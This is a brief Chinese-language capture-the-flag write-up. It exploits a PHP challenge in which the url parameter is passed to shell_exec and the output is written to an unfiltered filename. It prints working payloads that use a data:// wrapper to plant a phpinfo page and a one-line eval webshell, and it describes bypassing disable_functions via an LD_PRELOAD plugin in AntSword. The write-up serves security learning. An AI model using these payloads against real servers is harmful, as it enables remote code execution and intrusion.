x-forwarded-for值可以在请求头伪造一个任意值便于访问上传的文件,filename值用于指定写入的文件名,url用于拼接shell_exec的字符串参数,然后将shell_exec的结果写入filename指定的文件
shell_exec()拼接的GET参数表示执行一个GET请求,在本地试了一下可以用伪协议,也可以直接任意文件读取,不支持php协议,
这里既然是将内容写入指定的文件,并且文件名没有任何过滤
/?url=data://text/plain,<?=phpinfo();?>&filename=b.php
那么就可以用伪协议直接将一句话木马写入到我们任意指定新建的php文件,然后用蚁剑连接
url=data://text/plain,<?=eval($_POST[1]);?>&filename=a.php
但是连上之后不能直接读取flag和readflag,也不能直接执行readflag
这里需要用到蚁剑的一个插件,绕过disable_function的一个模式LD_PRELOAD
将绕过的脚本上传到服务器
然后再重新连一次就能执行readflag了